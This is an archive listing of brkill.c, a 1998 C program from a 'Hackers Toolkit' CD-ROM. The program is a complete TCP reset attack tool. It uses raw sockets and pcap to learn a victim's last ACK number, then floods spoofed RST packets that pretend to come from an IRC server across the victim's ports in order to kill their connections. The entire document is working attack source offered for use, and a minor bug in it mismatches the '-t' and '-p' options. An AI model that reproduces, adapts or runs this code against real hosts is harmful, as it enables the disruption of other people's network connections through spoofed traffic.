home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hackers Toolkit v2.0
/
Hackers_Toolkit_v2.0.iso
/
HTML
/
archive
/
Unix
/
c-src
/
brkill.c
< prev
next >
Wrap
C/C++ Source or Header
|
1999-11-04
|
12KB
|
477 lines
/* brkill.c
* by the basement research, llp
* Sat Sep 5 04:01:11 CDT 1998
* For the details of how this works, you can visit http://deep.ee.siue.edu/br.
* To compile:
* cc -O2 -o brkill brkill.c -lpcap
*/
#define SWAP(a,b) { a^=b; b^=a; a^=b; }
#define _BSD_SOURCE 1
#ifdef __FreeBSD__
#define BSDFIX(a) (a)
#else
#define BSDFIX(a) htons(a)
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/utsname.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include "pcap.h"
#define TIMEOUT_VALUE 500
#define VICTIM_START_PORT 1023
struct evilpkt
{
struct ip iphdr;
struct tcphdr tcphead;
}
pkt;
struct fakehdr
{
u_long saddr;
u_long daddr;
u_char zero;
u_char proto;
u_short len;
struct tcphdr faketcp;
}
pseudo;
static pcap_t *pfd;
u_long victim;
u_short port;
char *device = NULL;
u_short link_offset = 14;
static char *filter_str;
struct pcap_pkthdr hdr;
u_short
tcp_cksum (u_short * tcphdr, int len)
{
register long sum = 0;
u_short *w = tcphdr;
static u_short answer = 0;
while (len > 1)
{
sum += *w++;
len -= 2;
}
if (len == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (~sum);
}
void
start_pcap ()
{
char cmd[200];
int psize ;
struct bpf_program fcode;
u_int localnet, netmask;
char errbuf[PCAP_ERRBUF_SIZE];
char dialup[] = "ppp0";
psize = 300;
if (device == NULL)
{
if ((device = pcap_lookupdev (errbuf)) == NULL)
{
printf ("pcap_lookupdev : %s\n", errbuf);
exit (-1);
}
}
printf ("Selected network device: %s\n", device);
if (!strcmp (device, dialup))
{
link_offset = 0;
}
if ((pfd = pcap_open_live (device, psize, IFF_PROMISC, TIMEOUT_VALUE, errbuf))
== NULL)
{
printf ("pcap_open_live : %s\n", errbuf);
exit (-1);
}
if (pcap_lookupnet (device, &localnet, &netmask, errbuf) < 0)
{
printf ("pcap_lookupnet : %s\n", errbuf);
exit (-1);
}
snprintf (cmd, sizeof (cmd), filter_str);
printf ("Setting filter : %s\n", filter_str);
if (pcap_compile (pfd, &fcode, cmd, IFF_PROMISC, netmask) < 0)
{
printf ("pcap_compile : %s\n", pcap_geterr (pfd));
exit (-1);
}
if (pcap_setfilter (pfd, &fcode) < 0)
{
printf ("pcap_setfilter : %s\n", pcap_geterr (pfd));
exit (-1);
}
if (pcap_datalink (pfd) < 0)
{
printf ("pcap_datalink : %s\n", pcap_geterr (pfd));
exit (-1);
}
}
u_long
extract_ack (char *pkt)
{
u_long extracted;
u_long last_ack = 0;
bcopy ((u_long *) (pkt + 28), &extracted, sizeof (u_long));
last_ack = ntohl (extracted);
if (last_ack == 0)
{
puts ("This machine returns a last ACK of 0. Cannot reset.");
exit (-1);
}
printf ("Last ACK # sent by the victim is %lu (%#lx).\n", last_ack, last_ack);
return (last_ack);
}
u_long
grab_pcap ()
{
char *pptr = NULL;
u_long last_ack;
while ((pptr = (char *) pcap_next (pfd, &hdr)) == NULL);
pptr = pptr + link_offset;
last_ack = extract_ack (pptr);
return (last_ack);
}
void
init_pkt (u_long dest, u_long src, u_short port)
{
size_t pktlen;
pktlen = sizeof (struct ip) + sizeof (struct tcphdr);
bzero (&pkt, 40);
bzero (&pseudo, 32);
pkt.iphdr.ip_hl = 0x5;
pkt.iphdr.ip_v = IPVERSION;
pkt.iphdr.ip_tos = 0x0;
pkt.iphdr.ip_len = pktlen;
pkt.iphdr.ip_id = htons (0x29a + (u_short) rand () % 7000);
pkt.iphdr.ip_off = BSDFIX (IP_DF);
pkt.iphdr.ip_ttl = 255;
pkt.iphdr.ip_p = IPPROTO_TCP;
pkt.iphdr.ip_src.s_addr = src;
pkt.iphdr.ip_dst.s_addr = dest;
pkt.iphdr.ip_sum = htons (tcp_cksum ((u_short *) & pkt.iphdr, 20));
pkt.tcphead.th_sport = htons (rand () % 5000 + 1024);
pkt.tcphead.th_dport = htons (port);
pkt.tcphead.th_seq = 0;
pkt.tcphead.th_ack = 0;
pkt.tcphead.th_x2 = 0;
pkt.tcphead.th_off = 0x5;
pkt.tcphead.th_flags = TH_ACK + TH_PUSH; /* Use user-supplied argument */
pkt.tcphead.th_win = htons (0x800);
pkt.tcphead.th_urp = 0;
/* Now init the pseudoheader we need to calculate the TCP checksum */
pseudo.saddr = src;
pseudo.daddr = dest;
pseudo.zero = 0;
pseudo.proto = IPPROTO_TCP;
pseudo.len = htons (0x14); /* Refers to ONLY the TCP header plus any options */
bcopy (&pkt.tcphead, &pseudo.faketcp, 20);
pkt.tcphead.th_sum = tcp_cksum ((u_short *) & pseudo, 32);
}
int
open_sock ()
/* Open up a socket and return the resulting file descriptor. */
{
int sockfd;
const int bs = 1;
if ((sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
{
perror ("open_sock():socket()");
exit (-1);
}
if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, (char *) &bs, sizeof (bs)) < 0)
{
perror ("open_sock():setsockopt()");
close (sockfd);
exit (-1);
}
return (sockfd);
}
struct sockaddr_in *
set_sockaddr (u_long daddr, u_short port)
/* Set up target socket address and return pointer to sockaddr_in structure. */
{
struct sockaddr_in *dest_sockaddr;
dest_sockaddr = (struct sockaddr_in *) malloc (sizeof (struct sockaddr_in));
bzero (dest_sockaddr, sizeof (struct sockaddr_in));
dest_sockaddr->sin_family = AF_INET;
dest_sockaddr->sin_port = htons (port);
dest_sockaddr->sin_addr.s_addr = daddr;
return (dest_sockaddr);
}
u_long
host_to_ip (char *host_name)
{
struct hostent *target;
u_long *resolved_ip;
resolved_ip = (u_long *) malloc (sizeof (u_long));
if ((target = gethostbyname (host_name)) == NULL)
{
fprintf (stderr, "host_to_ip: %d\n", h_errno);
exit (-1);
}
else
{
bcopy (target->h_addr, resolved_ip, sizeof (struct in_addr));
return ((u_long) * resolved_ip);
}
}
char *
set_filter (char *destip, char *srcip, char *dport)
{
static char *filt;
filt = (char *) malloc (strlen (destip) + strlen (srcip) + strlen (dport) + 39);
filt[0] = '\0';
strcat (filt, "src host ");
strcat (filt, destip);
strcat (filt, " and dst host ");
strcat (filt, srcip);
strcat (filt, " and src port ");
strcat (filt, dport);
return (filt);
}
u_long
get_ack (u_long victim, u_long saddr, u_short port, int fd, struct sockaddr_in * sock, int delay)
{
size_t psize;
u_long last_ack;
psize = sizeof (struct evilpkt);
init_pkt (victim, saddr, port);
sleep (delay);
if (sendto (fd, (const void *) &pkt, psize, 0, (const struct sockaddr *) sock, sizeof (struct sockaddr)) < 0)
{
perror ("sendto()");
close (fd);
exit (-1);
}
last_ack = grab_pcap ();
return (last_ack);
}
void
usage ()
{
puts ("brkill - by basement research, 9/30/98\n");
puts ("Usage: brkill [-d device] [-s source IP addr]");
puts ("\t [-t time to pause between get_acks (default=1 sec)]");
puts ("\t [-l server low port or single port if not using range (default=6660)]");
puts ("\t [-h server high port or single port if not using range (default=6670)]");
puts ("\t [-v # of victim ports to target (starting at 1023, default=50)]");
puts ("\t [-n # of times to increment seq # by 1 for each port combo (default=0)]");
puts ("\t <victim addr> <victim's server> <dest port for ack retrieval>");
exit (0);
}
int
main (int argc, char **argv)
{
int fd, i, sp, opt, delay = 1, vichighport, vicports = 50, highseq = 0;
u_short ircport, slowport = 0, shighport = 0;
char *source = NULL;
struct sockaddr_in *sock;
u_long saddr, server;
size_t psize;
register u_long last_ack;
struct hostent *hptr;
struct utsname localname;
if ((argc > 18) || (argc < 4))
{
usage ();
}
while ((opt = getopt (argc, argv, "d:s:t:l:h:v:n:")) != -1)
{
switch (opt)
{
case 'd':
device = optarg;
break;
case 's':
source = optarg;
saddr = host_to_ip (source);
break;
case 'p':
delay = atoi (optarg);
break;
case 'l':
slowport = atoi (optarg);
break;
case 'h':
shighport = atoi (optarg);
break;
case 'v':
vicports = atoi (optarg);
break;
case 'n':
highseq = atoi (optarg);
break;
case '?':
puts ("Unknown option.");
exit (-1);
}
}
/* Try to determine source IP address if its not provided */
if (source == NULL)
{
if (uname (&localname) < 0)
{
perror ("uname(): ");
exit (-1);
}
if ((hptr = gethostbyname (localname.nodename)) == NULL)
{
perror ("gethostbyname(): ");
exit (-1);
}
source = hptr->h_name;
bcopy (hptr->h_addr, &saddr, sizeof (struct in_addr));
printf ("Using a source address of %s\n", inet_ntoa (saddr));
}
/* These next two if conditionals deal with the situation where only -l or
* -h are specified. In these cases, we will only target the specified port.
*/
if ((slowport > 0) && (shighport == 0))
{
shighport = slowport;
}
if ((shighport > 0) && (slowport == 0))
{
slowport = shighport;
}
/* If the low server port is bigger than the high server port, then the user
* doesn't know what they are doing. In this case, we'll swap the values.
*/
if (slowport > shighport)
{
SWAP (slowport, shighport);
puts ("Warning: low port is greater than high port - swapping the two...");
}
/* Defaults if neither -l nor -h are specified (common IRC server ports). */
if ((slowport == 0) && (shighport == 0))
{
slowport = 6660;
shighport = 6670;
}
/* End of the options processing code */
vichighport = VICTIM_START_PORT + vicports;
ircport = shighport;
filter_str = set_filter (argv[optind], source, argv[optind + 2]);
victim = host_to_ip (argv[optind]);
server = host_to_ip (argv[optind + 1]);
port = (u_short) atoi (argv[optind + 2]);
sock = set_sockaddr (victim, port);
fd = open_sock ();
psize = sizeof (struct evilpkt);
start_pcap ();
while (1)
{
last_ack = get_ack (victim, saddr, port, fd, sock, delay);
pkt.iphdr.ip_src.s_addr = server;
pkt.iphdr.ip_dst.s_addr = victim;
pkt.iphdr.ip_id = htons (rand () % 7000);
pkt.iphdr.ip_off = 0;
pkt.tcphead.th_flags = TH_RST;
pkt.tcphead.th_win = 0;
pkt.tcphead.th_ack = 0;
pseudo.saddr = server;
pseudo.daddr = victim;
if (ircport >= slowport)
{
pkt.tcphead.th_sport = htons (ircport);
}
else
{
ircport = shighport;
pkt.tcphead.th_sport = htons (ircport);
}
printf ("Setting the source port to %d.\n", ircport);
ircport--;
for (i = 0; i <= highseq; i++)
{
pkt.tcphead.th_seq = htonl (last_ack + i);
bcopy (&pkt.tcphead, &pseudo.faketcp, 20);
for (sp = VICTIM_START_PORT; sp < vichighport; sp++)
{
/* FreeBSD has problems and runs out of buffer space in sendto() unless
we insert a delay here. Unfoprtunately, this makes the code less
effective. */
#ifdef __FreeBSD__
if (!(sp % 20))
{
usleep (20000);
}
#endif
pkt.tcphead.th_dport = htons (sp);
bcopy (&pkt.tcphead.th_dport, &pseudo.faketcp.th_dport, 2);
pkt.iphdr.ip_id = htons (0x29a + (u_short) rand () % 7000);
pkt.iphdr.ip_sum = 0;
pkt.iphdr.ip_sum = htons (tcp_cksum ((u_short *) & pkt.iphdr, 20));
pseudo.faketcp.th_sum = 0;
pkt.tcphead.th_sum = tcp_cksum ((u_short *) & pseudo, 32);
if (sendto (fd, (const void *) &pkt, psize, 0, (const struct sockaddr *) sock, sizeof (struct sockaddr)) < 0)
{
perror ("sendto(): ");
close (fd);
exit (-1);
}
}
}
}
if (close (fd) == -1)
{
perror ("close()");
exit (-1);
}
return (0);
}